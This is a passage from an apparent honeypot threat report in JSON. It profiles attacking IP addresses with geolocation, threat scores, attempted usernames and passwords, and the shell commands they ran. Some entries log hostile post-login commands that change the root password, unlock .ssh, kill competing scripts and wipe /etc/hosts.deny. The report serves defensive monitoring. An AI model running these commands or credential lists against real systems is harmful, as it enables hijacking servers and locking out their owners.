        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Sweden",
      "country_code": "SE",
      "city": "\u00c4lta",
      "asn": 8473,
      "as_org": "Bahnhof AB",
      "threat_score": 16.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 21.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 147,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T10:19:21.310000+00:00",
        "last_seen_30d": "2026-03-15T10:43:32.976000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 119,
        "Suricata": 28
      }
    },
    "122.165.124.15": {
      "attack_count": 108,
      "first_seen": "2026-03-31T03:39:57.803Z",
      "last_seen": "2026-03-31T04:08:42.755Z",
      "sessions": 10,
      "ports": [],
      "usernames_attempted": [
        "root",
        "345gs5662d34"
      ],
      "passwords_attempted": [
        "$RFVFR$",
        "%$#@!",
        "1234qwer!!",
        "3245gs5662d34",
        "345gs5662d34",
        "Ahgf3487@rtjhskl854hd47893@#a4nC",
        "Ali@2023",
        "P@ssw0rd2023",
        "edong1314",
        "wz147258"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:lApneK8FjAeb\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Chengalpattu",
      "asn": 24560,
      "as_org": "Bharti Airtel Ltd., Telemedia Services",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 21.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 133,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-31T03:39:57.803000+00:00",
        "last_seen_30d": "2026-03-31T04:09:49.829000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 108,
        "Suricata": 25
      }
    },
    "167.114.98.48": {
      "attack_count": 94,
      "first_seen": "2026-03-26T18:25:03.210Z",
      "last_seen": "2026-03-26T18:44:53.070Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [
        "ts3server",
        "345gs5662d34",
        "one",
        "ttt",
        "webuser",
        "wireguard"
      ],
      "passwords_attempted": [
        "1234",
        "3245gs5662d34",
        "345gs5662d34",
        "Webuser123",
        "onepass",
        "password",
        "root"
      ],
      "commands_executed": [
        "Enter new UNIX password:",
        "Enter new UNIX password: ",
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"password\\nkuK8PlNCdBc5\\nkuK8PlNCdBc5\\n\"|passwd",
        "echo -e \"password\\nkuK8PlNCdBc5\\nkuK8PlNCdBc5\"|passwd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.failed",
        "cowrie.login.success"
      ],
      "country": "Canada",
      "country_code": "CA",
      "city": "Montreal",
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 27.7,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.83
      },
      "reputation_metrics": {
        "total_events_30d": 111,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-26T18:25:03.210000+00:00",
        "last_seen_30d": "2026-03-26T18:45:55.631000+00:00",
        "days_since_last_seen": 5
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 94,
        "Suricata": 17
      }
    },
    "72.60.151.202": {
      "attack_count": 84,
      "first_seen": "2026-03-27T21:43:36.592Z",
      "last_seen": "2026-03-27T23:02:04.200Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "Pass12345!",
        "Password!2026",
        "hallo1234",
        "support!"
      ],
      "commands_executed": [
        "cat /proc/cpuinfo | grep model | grep name | wc -l",
        "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'",
        "cat /proc/cpuinfo | grep name | wc -l",
        "cd ~; chattr -ia .ssh; lockr -ia .ssh",
        "crontab -l",
        "df -h | head -n 2 | awk 'FNR == 2 {print $2;}'",
        "echo \"root:vWNH74yeVEvd\"|chpasswd|bash",
        "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'",
        "lockr -ia .ssh",
        "ls -lh $(which ls)",
        "lscpu | grep Model",
        "rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;",
        "top",
        "uname",
        "uname -a",
        "uname -m",
        "w",
        "which ls",
        "whoami"
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.session.params",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.login.failed",
        "cowrie.session.file_download",
        "cowrie.command.failed"
      ],
      "country": "Brazil",
      "country_code": "BR",
      "city": "S\u00e3o Paulo",
      "asn": 47583,
      "as_org": "Hostinger International Limited",
      "threat_score": 28.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 20.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 101,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-27T21:43:36.592000+00:00",
        "last_seen_30d": "2026-03-27T23:03:07.580000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 84,
        "Suricata": 17
      }
    },
    "170.64.223.160": {
      "attack_count": 83,
      "first_seen": "2026-03-11T06:55:01.965Z",
      "last_seen": "2026-03-11T07:09:58.099Z",
      "sessions": 14,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "admin",
        "docker",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "root123",
        "toor",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "Australia",
      "country_code": "AU",
      "city": "Sydney",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 11.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-11T06:55:01.965000+00:00",
        "last_seen_30d": "2026-03-11T07:11:04.060000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 83,
        "Suricata": 32
      }
    },
    "142.93.217.92": {
      "attack_count": 80,
      "first_seen": "2026-03-10T20:46:02.730Z",
      "last_seen": "2026-03-10T21:04:44.867Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "12345",
        "123456",
        "12345678",
        "Password1",
        "admin",
        "docker",
        "password",
        "qwerty",
        "raspberry",
        "root",
        "root123",
        "toor",
        "ubuntu"
      ],
      "commands_executed": [
        "cat /proc/uptime 2 > /dev/null | cut -d. -f1",
        "uname -m 2 > /dev/null",
        "uname -s -v -n -m 2 > /dev/null"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.command.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.file_download"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Bengaluru",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 10.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 20.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 115,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T20:46:02.730000+00:00",
        "last_seen_30d": "2026-03-10T21:05:48.626000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 80,
        "Suricata": 35
      }
    },
    "159.223.45.78": {
      "attack_count": 54,
      "first_seen": "2026-03-04T20:57:55.568Z",
      "last_seen": "2026-03-05T09:20:33.036Z",
      "sessions": 12,
      "ports": [],
      "usernames_attempted": [
        "solana",
        "ubuntu"
      ],
      "passwords_attempted": [
        "solana",
        "ubuntu"
      ],
      "commands_executed": [
        "/bin/./uname -s -v -n -r -m"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Singapore",
      "country_code": "SG",
      "city": "Singapore",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 4.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 19.5,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 90,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-04T20:55:14.890000+00:00",
        "last_seen_30d": "2026-03-05T09:21:34.876000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 54,
        "Suricata": 36
      }
    },
    "59.98.69.249": {
      "attack_count": 50,
      "first_seen": "2026-03-24T06:13:06.194Z",
      "last_seen": "2026-03-24T06:18:30.909Z",
      "sessions": 25,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": null,
      "asn": 9829,
      "as_org": "National Internet Backbone",
      "threat_score": 24.3,
      "threat_level": "low",
      "score_components": {
        "frequency": 18.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 76,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-24T06:13:06.194000+00:00",
        "last_seen_30d": "2026-03-24T06:19:39.427000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 50,
        "Suricata": 26
      }
    },
    "112.252.172.126": {
      "attack_count": 46,
      "first_seen": "2026-03-03T21:18:24.134Z",
      "last_seen": "2026-03-03T21:23:22.659Z",
      "sessions": 23,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 3.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 70,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-03T21:18:24.134000+00:00",
        "last_seen_30d": "2026-03-03T21:24:32.460000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 46,
        "Suricata": 24
      }
    },
    "175.107.237.177": {
      "attack_count": 44,
      "first_seen": "2026-03-05T15:05:55.263Z",
      "last_seen": "2026-03-05T15:10:50.702Z",
      "sessions": 22,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 18.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 67,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-05T15:05:55.263000+00:00",
        "last_seen_30d": "2026-03-05T15:11:54.244000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 44,
        "Suricata": 23
      }
    },
    "130.12.180.95": {
      "attack_count": 39,
      "first_seen": "2026-03-03T21:23:02.839Z",
      "last_seen": "2026-03-03T21:23:26.930Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "root",
        "ftp",
        "operator",
        "squid",
        "user"
      ],
      "passwords_attempted": [
        "121212",
        "NSSpassword1",
        "P@ssw0rd",
        "admin",
        "fa",
        "operator",
        "squid"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.direct-tcpip.data",
        "cowrie.direct-tcpip.request",
        "cowrie.login.success"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 202412,
      "as_org": "Omegatech LTD",
      "threat_score": 91.0,
      "threat_level": "critical",
      "score_components": {
        "frequency": 30,
        "persistence": 24.2,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.97
      },
      "reputation_metrics": {
        "total_events_30d": 1663,
        "days_active_30d": 29,
        "ports_targeted_30d": 331,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T12:39:44+00:00",
        "last_seen_30d": "2026-03-30T23:20:50.329000+00:00",
        "days_since_last_seen": 1
      },
      "honeypot_breakdown_30d": {
        "Suricata": 1332,
        "Honeytrap": 291,
        "Cowrie": 39,
        "ConPot": 1
      }
    },
    "165.154.162.193": {
      "attack_count": 31,
      "first_seen": "2026-03-10T04:00:13.031Z",
      "last_seen": "2026-03-10T04:02:22.330Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [
        "",
        "GET / HTTP/1.1",
        "b'\\x05\\x04\\x00\\x01\\x02\\x80\\x05\\x01\\x00\\x03'"
      ],
      "passwords_attempted": [
        "",
        "Host: 172.105.186.117:23",
        "github.com\u0000PGET / HTTP/1.0"
      ],
      "commands_executed": [
        "KHTML, like Gecko",
        "",
        "Accept-Language: zh-CN,zh",
        "Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6",
        "Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0",
        "Intel Mac OS X 10_15_7",
        "Macintosh",
        "Macintosh ; Intel Mac OS X 10_15_7",
        "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.0.0 Safari/537.36 Edg/120.0.0.0"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.command.failed",
        "cowrie.command.input",
        "cowrie.login.failed",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 135377,
      "as_org": "UCLOUD INFORMATION TECHNOLOGY HK LIMITED",
      "threat_score": 73.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 23.3,
        "persistence": 21.7,
        "diversity": 20,
        "spread": 20,
        "recency_factor": 0.87
      },
      "reputation_metrics": {
        "total_events_30d": 216,
        "days_active_30d": 26,
        "ports_targeted_30d": 10,
        "honeypots_triggered_30d": 4,
        "first_seen_30d": "2026-03-02T13:12:20.697000+00:00",
        "last_seen_30d": "2026-03-27T04:47:32.087000+00:00",
        "days_since_last_seen": 4
      },
      "honeypot_breakdown_30d": {
        "Suricata": 122,
        "Honeytrap": 43,
        "Cowrie": 31,
        "Ciscoasa": 20
      }
    },
    "116.140.211.29": {
      "attack_count": 30,
      "first_seen": "2026-03-15T19:45:15.862Z",
      "last_seen": "2026-03-15T20:06:02.706Z",
      "sessions": 6,
      "ports": [],
      "usernames_attempted": [
        "centos7",
        "chat",
        "deployer",
        "grid",
        "mamad",
        "root"
      ],
      "passwords_attempted": [
        "1234",
        "Deployer123",
        "QWERasdf1234",
        "chat123!",
        "mamad@123",
        "password"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 13.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-15T19:45:15.862000+00:00",
        "last_seen_30d": "2026-03-15T20:14:53.232000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "139.135.45.218": {
      "attack_count": 30,
      "first_seen": "2026-03-16T08:22:17.693Z",
      "last_seen": "2026-03-16T08:25:36.068Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Pakistan",
      "country_code": "PK",
      "city": "Lahore",
      "asn": 9541,
      "as_org": "Cyber Internet Services Pvt Ltd.",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-16T08:22:17.693000+00:00",
        "last_seen_30d": "2026-03-16T08:26:42.011000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "219.155.203.63": {
      "attack_count": 30,
      "first_seen": "2026-03-28T04:21:44.867Z",
      "last_seen": "2026-03-28T04:24:59.202Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Zhengzhou",
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 26.5,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.9
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-28T04:21:44.867000+00:00",
        "last_seen_30d": "2026-03-28T04:26:03.205000+00:00",
        "days_since_last_seen": 3
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "101.126.85.58": {
      "attack_count": 25,
      "first_seen": "2026-03-10T03:20:58.112Z",
      "last_seen": "2026-03-10T03:28:01.875Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "root",
        "admin",
        "csserver"
      ],
      "passwords_attempted": [
        "kjashd123sadhj123d1SS",
        "csserver",
        "root"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 8.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 36,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T03:20:58.112000+00:00",
        "last_seen_30d": "2026-03-10T03:29:11.891000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 25,
        "Suricata": 11
      }
    },
    "38.188.160.115": {
      "attack_count": 23,
      "first_seen": "2026-03-10T23:39:12.948Z",
      "last_seen": "2026-03-11T00:34:44.797Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "170789",
        "anita1",
        "elhadj",
        "rahman"
      ],
      "commands_executed": [
        "echo -e \"\\x6F\\x6B\""
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Dominican Republic",
      "country_code": "DO",
      "city": "Santo Domingo",
      "asn": 273113,
      "as_org": "ONERED JWG532 SRL",
      "threat_score": 9.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.4,
        "persistence": 1.7,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 35,
        "days_active_30d": 2,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-10T23:39:12.948000+00:00",
        "last_seen_30d": "2026-03-11T00:35:46.458000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 23,
        "Suricata": 12
      }
    },
    "101.126.4.215": {
      "attack_count": 17,
      "first_seen": "2026-03-23T00:35:43.325Z",
      "last_seen": "2026-03-23T00:35:53.533Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "123456",
        "LeitboGi0ro",
        "root"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.failed"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 137718,
      "as_org": "Beijing Volcano Engine Technology Co., Ltd.",
      "threat_score": 19.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.3,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 27,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T00:35:43.325000+00:00",
        "last_seen_30d": "2026-03-23T00:37:40.547000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 17,
        "Suricata": 10
      }
    },
    "112.248.163.180": {
      "attack_count": 16,
      "first_seen": "2026-03-23T01:53:44.379Z",
      "last_seen": "2026-03-23T01:55:27.886Z",
      "sessions": 8,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 19.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 14.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 25,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-23T01:53:44.379000+00:00",
        "last_seen_30d": "2026-03-23T01:56:35.766000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 9
      }
    },
    "180.76.232.16": {
      "attack_count": 16,
      "first_seen": "2026-03-29T15:04:03.094Z",
      "last_seen": "2026-03-29T15:07:56.569Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [
        "centos",
        "debian",
        "ubuntu"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.file_upload"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 38365,
      "as_org": "Beijing Baidu Netcom Science and Technology Co., Ltd.",
      "threat_score": 24.9,
      "threat_level": "low",
      "score_components": {
        "frequency": 13.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 24,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-03-29T15:04:03.094000+00:00",
        "last_seen_30d": "2026-03-29T15:19:01.736000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 16,
        "Suricata": 8
      }
    },
    "64.62.156.172": {
      "attack_count": 13,
      "first_seen": "2026-03-05T01:07:39.872Z",
      "last_seen": "2026-03-28T14:49:42.451Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [
        "Accept-Encoding: gzip",
        "GET / HTTP/1.1",
        "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36"
      ],
      "passwords_attempted": [
        "",
        "Accept: */*",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Minneapolis",
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.2,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.2,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 334,
        "days_active_30d": 30,
